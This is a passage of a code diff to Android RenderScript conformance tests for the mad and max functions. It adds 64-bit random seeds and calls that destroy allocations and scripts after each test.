+        inMultiplicand2.destroy();
+        inOffset.destroy();
     }
 
     private void verifyResultsMadHalf2Half2Half2Half2(Allocation inMultiplicand1, Allocation inMultiplicand2, Allocation inOffset, Allocation out, boolean relaxed) {
@@ -601,15 +638,16 @@
     }
 
     private void checkMadHalf3Half3Half3Half3() {
-        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xd5500128l, false);
-        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xd5500129l, false);
-        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x2979209cl, false);
+        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xf9ed0ccd5500128l, false);
+        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xf9ed0ccd5500129l, false);
+        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x191ee58a2979209cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInMultiplicand2(inMultiplicand2);
             script.set_gAllocInOffset(inOffset);
             script.forEach_testMadHalf3Half3Half3Half3(inMultiplicand1, out);
             verifyResultsMadHalf3Half3Half3Half3(inMultiplicand1, inMultiplicand2, inOffset, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMadHalf3Half3Half3Half3: " + e.toString());
         }
@@ -619,9 +657,13 @@
             scriptRelaxed.set_gAllocInOffset(inOffset);
             scriptRelaxed.forEach_testMadHalf3Half3Half3Half3(inMultiplicand1, out);
             verifyResultsMadHalf3Half3Half3Half3(inMultiplicand1, inMultiplicand2, inOffset, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMadHalf3Half3Half3Half3: " + e.toString());
         }
+        inMultiplicand1.destroy();
+        inMultiplicand2.destroy();
+        inOffset.destroy();
     }
 
     private void verifyResultsMadHalf3Half3Half3Half3(Allocation inMultiplicand1, Allocation inMultiplicand2, Allocation inOffset, Allocation out, boolean relaxed) {
@@ -696,15 +738,16 @@
     }
 
     private void checkMadHalf4Half4Half4Half4() {
-        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xc0a38870l, false);
-        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xc0a38871l, false);
-        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x743f80b4l, false);
+        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xdaae4b3ac0a38870l, false);
+        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xdaae4b3ac0a38871l, false);
+        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xfe32e7a3743f80b4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInMultiplicand2(inMultiplicand2);
             script.set_gAllocInOffset(inOffset);
             script.forEach_testMadHalf4Half4Half4Half4(inMultiplicand1, out);
             verifyResultsMadHalf4Half4Half4Half4(inMultiplicand1, inMultiplicand2, inOffset, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMadHalf4Half4Half4Half4: " + e.toString());
         }
@@ -714,9 +757,13 @@
             scriptRelaxed.set_gAllocInOffset(inOffset);
             scriptRelaxed.forEach_testMadHalf4Half4Half4Half4(inMultiplicand1, out);
             verifyResultsMadHalf4Half4Half4Half4(inMultiplicand1, inMultiplicand2, inOffset, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMadHalf4Half4Half4Half4: " + e.toString());
         }
+        inMultiplicand1.destroy();
+        inMultiplicand2.destroy();
+        inOffset.destroy();
     }
 
     private void verifyResultsMadHalf4Half4Half4Half4(Allocation inMultiplicand1, Allocation inMultiplicand2, Allocation inOffset, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMax.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMax.java
index f01f791..7bc1b33 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMax.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMax.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestMaxRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inA;
         public float inB;
@@ -44,13 +51,14 @@
     }
 
     private void checkMaxFloatFloatFloat() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xc2162460l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xc2162461l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x2952d868c2162460l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x2952d868c2162461l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxFloatFloatFloat(inA, out);
             verifyResultsMaxFloatFloatFloat(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxFloatFloatFloat(inA, out);
             verifyResultsMaxFloatFloatFloat(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxFloatFloatFloat: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxFloatFloatFloat(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkMaxFloat2Float2Float2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x36addadal, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x36addadbl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xc6031e7536addadal, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xc6031e7536addadbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxFloat2Float2Float2(inA, out);
             verifyResultsMaxFloat2Float2Float2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxFloat2Float2Float2(inA, out);
             verifyResultsMaxFloat2Float2Float2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxFloat2Float2Float2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxFloat2Float2Float2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkMaxFloat3Float3Float3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x388bdc7bl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x388bdc7cl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x1a67fc95388bdc7bl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x1a67fc95388bdc7cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxFloat3Float3Float3(inA, out);
             verifyResultsMaxFloat3Float3Float3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxFloat3Float3Float3(inA, out);
             verifyResultsMaxFloat3Float3Float3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxFloat3Float3Float3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxFloat3Float3Float3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkMaxFloat4Float4Float4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3a69de1cl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3a69de1dl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x6eccdab53a69de1cl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x6eccdab53a69de1dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxFloat4Float4Float4(inA, out);
             verifyResultsMaxFloat4Float4Float4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxFloat4Float4Float4(inA, out);
             verifyResultsMaxFloat4Float4Float4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxFloat4Float4Float4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxFloat4Float4Float4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkMaxHalfHalfHalf() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xb6e25ddbl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xb6e25ddcl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x3cd92a4ab6e25ddbl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x3cd92a4ab6e25ddcl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxHalfHalfHalf(inA, out);
             verifyResultsMaxHalfHalfHalf(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxHalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxHalfHalfHalf(inA, out);
             verifyResultsMaxHalfHalfHalf(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxHalfHalfHalf: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxHalfHalfHalf(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkMaxHalf2Half2Half2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xf8fc6855l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xf8fc6856l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xf8c31a85f8fc6855l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xf8c31a85f8fc6856l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxHalf2Half2Half2(inA, out);
             verifyResultsMaxHalf2Half2Half2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxHalf2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxHalf2Half2Half2(inA, out);
             verifyResultsMaxHalf2Half2Half2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxHalf2Half2Half2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxHalf2Half2Half2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkMaxHalf3Half3Half3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x579b7924l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x579b7925l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x1e779a6f579b7924l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x1e779a6f579b7925l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxHalf3Half3Half3(inA, out);
             verifyResultsMaxHalf3Half3Half3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxHalf3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxHalf3Half3Half3(inA, out);
             verifyResultsMaxHalf3Half3Half3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxHalf3Half3Half3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxHalf3Half3Half3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkMaxHalf4Half4Half4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb63a89f3l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb63a89f4l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x442c1a58b63a89f3l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x442c1a58b63a89f4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxHalf4Half4Half4(inA, out);
             verifyResultsMaxHalf4Half4Half4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxHalf4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxHalf4Half4Half4(inA, out);
             verifyResultsMaxHalf4Half4Half4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxHalf4Half4Half4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxHalf4Half4Half4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -704,13 +743,14 @@
     }
 
     private void checkMaxFloat2FloatFloat2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8592438l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x8592439l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x63dd380708592438l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x63dd380708592439l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxFloat2FloatFloat2(inA, out);
             verifyResultsMaxFloat2FloatFloat2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxFloat2FloatFloat2: " + e.toString());
         }
@@ -719,9 +759,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxFloat2FloatFloat2(inA, out);
             verifyResultsMaxFloat2FloatFloat2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxFloat2FloatFloat2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxFloat2FloatFloat2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -783,13 +826,14 @@
     }
 
     private void checkMaxFloat3FloatFloat3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xf6c41894l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xf6c41895l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xb92ceb1ef6c41894l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xb92ceb1ef6c41895l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxFloat3FloatFloat3(inA, out);
             verifyResultsMaxFloat3FloatFloat3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxFloat3FloatFloat3: " + e.toString());
         }
@@ -798,9 +842,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxFloat3FloatFloat3(inA, out);
             verifyResultsMaxFloat3FloatFloat3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxFloat3FloatFloat3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxFloat3FloatFloat3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -862,13 +909,14 @@
     }
 
     private void checkMaxFloat4FloatFloat4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xe52f0cf0l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe52f0cf1l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xe7c9e36e52f0cf0l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe7c9e36e52f0cf1l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxFloat4FloatFloat4(inA, out);
             verifyResultsMaxFloat4FloatFloat4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxFloat4FloatFloat4: " + e.toString());
         }
@@ -877,9 +925,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxFloat4FloatFloat4(inA, out);
             verifyResultsMaxFloat4FloatFloat4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxFloat4FloatFloat4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxFloat4FloatFloat4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -941,13 +992,14 @@
     }
 
     private void checkMaxHalf2HalfHalf2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xf5bbc96fl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xf5bbc970l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x8eb729ebf5bbc96fl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x8eb729ebf5bbc970l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxHalf2HalfHalf2(inA, out);
             verifyResultsMaxHalf2HalfHalf2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxHalf2HalfHalf2: " + e.toString());
         }
@@ -956,9 +1008,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxHalf2HalfHalf2(inA, out);
             verifyResultsMaxHalf2HalfHalf2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxHalf2HalfHalf2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxHalf2HalfHalf2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1025,13 +1080,14 @@
     }
 
     private void checkMaxHalf3HalfHalf3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xa8555b13l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa8555b14l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb9444a6aa8555b13l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xb9444a6aa8555b14l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxHalf3HalfHalf3(inA, out);
             verifyResultsMaxHalf3HalfHalf3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxHalf3HalfHalf3: " + e.toString());
         }
@@ -1040,9 +1096,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxHalf3HalfHalf3(inA, out);
             verifyResultsMaxHalf3HalfHalf3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxHalf3HalfHalf3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxHalf3HalfHalf3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1109,13 +1168,14 @@
     }
 
     private void checkMaxHalf4HalfHalf4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5aeeecb7l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x5aeeecb8l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xe3d16ae95aeeecb7l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xe3d16ae95aeeecb8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxHalf4HalfHalf4(inA, out);
             verifyResultsMaxHalf4HalfHalf4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxHalf4HalfHalf4: " + e.toString());
         }
@@ -1124,9 +1184,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxHalf4HalfHalf4(inA, out);
             verifyResultsMaxHalf4HalfHalf4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxHalf4HalfHalf4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxHalf4HalfHalf4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1199,13 +1262,14 @@
     }
 
     private void checkMaxCharCharChar() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0xb6405876l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0xb6405877l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0x5f77cf3cb6405876l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0x5f77cf3cb6405877l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxCharCharChar(inA, out);
             verifyResultsMaxCharCharChar(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxCharCharChar: " + e.toString());
         }
@@ -1214,9 +1278,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxCharCharChar(inA, out);
             verifyResultsMaxCharCharChar(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxCharCharChar: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxCharCharChar(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1277,13 +1344,14 @@
     }
 
     private void checkMaxChar2Char2Char2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x19e42804l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x19e42805l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x94dd090a19e42804l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x94dd090a19e42805l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxChar2Char2Char2(inA, out);
             verifyResultsMaxChar2Char2Char2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxChar2Char2Char2: " + e.toString());
         }
@@ -1292,9 +1360,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxChar2Char2Char2(inA, out);
             verifyResultsMaxChar2Char2Char2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxChar2Char2Char2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxChar2Char2Char2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1355,13 +1426,14 @@
     }
 
     private void checkMaxChar3Char3Char3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x788338d3l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x788338d4l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0xba9188f3788338d3l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0xba9188f3788338d4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxChar3Char3Char3(inA, out);
             verifyResultsMaxChar3Char3Char3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxChar3Char3Char3: " + e.toString());
         }
@@ -1370,9 +1442,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxChar3Char3Char3(inA, out);
             verifyResultsMaxChar3Char3Char3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxChar3Char3Char3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
